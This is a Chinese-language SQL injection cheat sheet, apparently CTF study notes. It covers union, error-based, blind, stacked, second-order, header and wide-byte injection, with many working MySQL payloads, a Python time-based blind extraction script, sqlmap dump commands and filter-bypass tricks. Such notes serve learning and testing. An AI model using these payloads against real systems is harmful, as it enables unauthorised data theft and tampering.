SQL注入
SQL注入
注入姿势
联合查询注入
1.寻找注入点(和数据库有交互的地方)与数据传输的类型
登录,注册,搜索框
2.判断闭合方式
先判断是数字型还是字符型
?id=1asdf
数字型:报错
字符型:正常
再判断闭合方式(字符型)
?id=1asdf
(先加单引号,再加双引号,直到报错)
注意:‘’
、“”
、 ()
、{}
都是成双成对
去掉头尾单引号,自己输入的内容右边的内容即为闭合方式(上例为单引号)
?id=1asdf
(先加闭合方式,再加–+注释,页面恢复正常)
验证输入内容数据库能否执行(加单引号让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,从而判断可实现sql注入)
1 | ?id=1' and 1=1 #有显示 |
需要注意的是,在测试删除功能时尽量不要使用and 1=1
,否则可能会将数据全部删除
3.判断列数
?id=1' order by 3 #
[!IMPORTANT]
order by
默认按照升序对记录进行排序,可用desc关键字按照降序对记录进行排序
order by后面的列数大于实际的列数就会报错
当order by
无法使用时,可通过select null
判断
?id=1' union select null,null,null #
4.判断回显(假设3列)
?id=-1' union select 1,2,3 #
5.爆破数据(假设回显位为2)
数据库名
?id=-1' union select 1,database(),3 #
查表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='库名'),3 #
或
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 #
或
?id=-1' union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #
查列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 #
或
?id=-1' union select 1, group_concat(column_name) ,3 from information_schema.columns where table_name='表名' #
具体数据
?id=-1' union select 1,(select group_concat(列名) from 表名),3 #
或
?id=-1 union select 1,列名 from 表名,3 #
[!IMPORTANT]
一些默认数据库有关知识
table_schema
:数据库名
table_name
:表名
column_name
:列名
information_schema.tables
:数据库的表名
information_schema.columns
:数据库的列名
[!IMPORTANT]
limit m,n
m:是指记录开始的位置,从0开始,表示第一条记录
n:是指取n条记录
limit 0,1 表示从第一条记录开始,表示取第一条记录
[!IMPORTANT]
一些常见函数
concat:将多个字符串连成一个字符串
concat(str1,str2)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null
group_concat():将group by产生的同一个分组中的值连接起来
返回一个字符串的结果该函数返回带有来自一个组的连接的非NULL值的字符串结果
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator '分隔符'])
distinct可以排除重复值,order by子句可以对结果中的值进行跑徐,separator是一个字符串值,缺省为一个逗号
substr:用来截取数据库某个字段中的一部分
substr(string,start,length)
例如,获取
column_name
列的前 10 个字符
1 select substr(列名, 1, 10) from 表名
substring(列名, 1, 10)
:从column_name
的第 1 个字符开始,提取 10 个字符如报错注入中
1 'and extractvalue(1,concat(0x7e,(select substring(value,1,10) from flag ),0x7e)) #ascii:返回字符串str最左边的数值
ascii(str)
报错注入
通过特殊函数错误使用并使其输出错误结果来获取信息
在遇有报错回显但没数据回显时可利用
[!IMPORTANT]
报错注入函数
floor():向下取整
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) #
//获取数据库名extractvalue():对XML文档进行查询的函数,当参数格式不正确而产生的错误,会返回参数的信息
语法:
extractvalue(XML_document,XPath_string);
payload:
and (extractvalue(1,concat(0x7e,select database()),0x7e))
注:其一次只能查询32位长度
updatexml():更新XML文档的函数,原理和extractvalue一样
语法:
updatexml(XML_document,XPath_string,new_value);
payload:
updatexml(1,concat(0x7e,(select database()),0x7e),1)
exp():以e为底的指数函数
1.爆数据库名
and extractvalue(1,concat(0x7e,database(),0x7e)) #
and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1)
2,爆表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1) #
3.爆列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e)) #
and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,31)),1) #
4.爆值
and extractvalue(1,concat(0x7e,(select group_concat(列1,0x3a,列2) from 表名),0x7e)) #
updatexml(1, concat(0x7e, mid((select group_concat(列1,0x3a,列2) from 表名),1,31)),1) #
盲注
看不到返回数据情况下通过差异(包括运行时间的差异和页面返回结果的差异)来判断
布尔盲注
在页面中,正确执行和错误执行SQL语句返回页面不一样,基于两种页面,来判断SQL语句正确与否,达到获取数据的目的
[!IMPORTANT]
几个盲注函数
length():返回字符串的长度
limit(a,b):a记录开始的偏移量,b是指从a+1条开始,取b条记录
substr():截取字符串
ascii():返回字符的ascii码,其同名函数ord用于过滤ascii的过滤
left(a,b):从左侧截取a的前b位
left((select database()),1)截取数据库名称第一位
判断数据库的长度:id=1 and (length(database())>3)
判断数据库的具体名称:id=1 and (ascii(substr(database(),x,1))>110)
上例用来判断数据库名称的第x个字符的ascii码是否大于110这个值
判断表的个数:id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))>0
上例若x=0则用来判断是否存在表
判断表的长度:id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))=4
上例用来判断第(x+1)个表长度是否为4
判断表名:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110
上例用来判断第(x+1)个表的第y个字符ascii码是否为110
判断列的个数:id=1 and (select count(column_name) from information_schema.columns where table_name="flag")=1
上例用来判断flag表的列数
判断列的长度:id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 4,1))
判断列名:id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 1,1))=102
查值(虚拟机中):sqlmap -r 1.txt --technique B -D web -T flag -C value --dump --level 3 --risk 3
时间盲注
通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态
sleep()
:将程序挂起n秒后响应
if(expr1,expr2,expr3)
:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3
判断注入点:1‘ and 1=1-- # 页面返回有数据
或 ‘ and sleep(5)--
1’ and 2=2-- # 页面返回有数据*
判断数据库的长度:id=1 and if(length(database())=4,sleep(3),1)
判断数据库的具体名称:id=1 and if(ascii(substr(database(),x,1))>110,sleep(3),1)
判断表的个数:id=1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(3),1) //这里的x从1开始判断数据库中存在的表的数量
判断表名:id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110,sleep(3),1)
判断列的个数:id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=x,sleep(3),1) //这里的x从1开始判断flag表中存在的字段数量
判断列名:id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),x,1))=xxx,sleep(3),1)//这里的x是从1开始判断字段的位置,xxx对应了具体的ascii值
查值(虚拟机中):sqlmap -r 1.txt --technique T -D web -T flag -C value --dump --level 3 --risk 3
[!TIP]
时间盲注脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48 import requests
import string
import time
#配置目标 URL 和基础信息
url = "........"
username_template = "' or if((select substr(value,{index},1) from flag)='{char}',sleep(3),0)#"
#填写payload
password = "0"
#用于测试的字符集(可以根据实际情况扩展)
charset = string.ascii_letters + string.digits + "{}_-"
def time_blind_injection():
extracted_value = ""
index = 1 # 从第1个字符开始
while True:
found = False
for char in charset:
payload = username_template.format(index=index, char=char)
start_time = time.time()
# 发送 POST 请求
response = requests.post(url, data={"username": payload, "password": password})
elapsed_time = time.time() - start_time
# 判断响应时间是否超过3秒
if elapsed_time > 3:
extracted_value += char
print(f"[+] Found character at position {index}: {char}")
found = True
break
if not found: # 如果在当前索引没有找到字符,说明到达字符串末尾
print("[+] Extraction complete!")
break
index += 1
return extracted_value
if __name__ == "__main__":
print("[*] Starting time-based blind SQL injection...")
result = time_blind_injection()
print(f"[+] Extracted value: {result}")
堆叠查询注入
堆叠查询可以执行多条语句,多条语句间以分号隔开
如id=1';update users set password='123456' where id=1; #
例如php中的**mysql_multi_query(),pymysql中的cursor.execute()**支持多条sql语句同时执行
查数据库:0';show databases;#
查表:0';show tables;#
查列:0';show columns from 表名;#
或0';desc 列名;#
查数据(使用预处理语句):0';sEt@a=concat("sel","ect 列名 from 表名");PRepare hello from @a;execute hello;#
(select被绕过时,使用concat函数将select进行连接过滤)
注:表名前后都有 `
更新注入
更新类的操作的返回结果都是布尔型,无法返回数据
insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));
二次注入
二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行
利用条件:知道数据库中的列名且使用了magic_quote_gpc
等对引号过滤
例如存在注册和登录两个点击框,在注册的时候添加一些特殊字符,创建成功后,登录进行修改密码,发现报错语句,这里就可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入
admin1"or(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
HTTP头注入
HTTP头部注入是通过HTTP协议头部字段值进行注入,常存在于user-agent,cookie,referer,x-forwarded-for
User-Agent注入
判断注入点:user-agent值后面加上'
,引发报错,确定存在sql注入
采用报错注入函数获取当前数据库名‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '
cookie注入
采用联合注入或报错注入
3 union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名'
剩下的就是需要查询表中的字段和字段的详细信息,和普通SQL注入同理
Referer注入
XFF注入
宽字节注入
可以看到addslashes或magic_quotes_gpc,设置了gbk编码
当访问id=1’时,执行的SQL语句为:SELECT * FROM users WHERE id='1\''
,单引号被转义符“\”转义,所以在一般情况下,是无法注入的,但是由于数据库查询前执行了SET NAMES’ GBK’,将编码设置为宽字节GBK,所以是存在宽字节注入漏洞
原理:汉字url编码2位,利用汉字的一半编码与/组合过滤
接着与正常注入步骤一样
?id=-1%df%27 union select 1,2,database()%23
但后续查表会出现单引号(但其会被转义),用嵌套查询
?id=20%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())%23
?id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0, 1)limit 0,1 %23
二次编码注入
利用条件:目标站点使用了urldecode()解码
%
的url编码为:%25
'
的url编码为:%27
%25%27
,URL解码后是%27
也就是'
sqlmap
sqlmap -u (url) --dbs
跑出数据库
sqlmap -u (url) -D 数据库名 --tables
跑出指定数据
sqlmap -u (url) -D 数据库名 -T 表名 --columns
跑出指定表的列名
sqlmap -u (url) -D 数据库名 -T 表名 -C 指定列 --dump
跑出指定列中的值
1 | sqlmap --batch -u "(网站url)" --cookie=“···” |
-u:扫描目标url
–batch:自动处理提示信息
–cookie:附加cookie参数
获取当前数据库名:
–current-db:查询当前web使用的数据库名
-D:应用指定数据库
获取表名:
–tables:查询指定库下所有表名(先用-D指定库名)
-T:应用指定表
获取字段:
–columns:查询指定表下所有字段(先用-T指定名)
-C:应用指定字段名
获取数据:–dump
绕过方式
注释符
1 | '#', '--+', '-- -', '%23', '%00', '/**/' |
#
一般在post传参,%23
一般在get传参
and,or 过滤
1 | # 可以使用"&&"和"||"代替 |
关键词绕过
大小写绕过
id=-1' UnIoN SeLeCT xxx
双写绕过
id=-1'UNIunionONSeLselectECT1,2,3–-
编码绕过
可以使用URL,hex,ASCII等编码绕过
例如’or 1=1可用27%20%4F%52%201%3D%31%20%2D%2D
注释绕过
内联注释/**/将关键词分隔开
id=1' UN/**/ION SE/**/LECT database() --
空格绕过
内联注释代替空格
id=1/**/and/**/1=1
括号嵌套
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
制表符、换行、不可见空格
%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)%0c(换页符),%20(空格)
反引号
1 | union(select`table_name`,`table_type`from`information_schema`.`tables`); |
=被过滤
可以用like(其子句中用%来表示任意字符)或rlike,也可以用regexp(不区分大小写,若需要大小写敏感,加binary)来绕过
比如=’admin’ 就可以like ‘admin’
逗号过滤
逗号被过滤时可以使用from…for…
1 | select substr(select database() from 1 for 1); |
limit中的逗号可以替换成offset
1 | select * from users limit 1 offset 2; |
需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
False注入
1 | select * from users where username = 0; # 查询表中所有数据 |
其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据
绕过引号构造0的方法
1 | select * from users where username = ''+''; |
等价函数
if()与 case…when..then…else…end
1 | 0' or if((ascii(substr((select database()),1,1))>97),1,0)# |
sleep()与benchmark()
benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
1 | ?id=1 AND BENCHMARK(5000000, MD5('test')) |
concat_ws()与group_concat()
1 | select group_concat(database()); |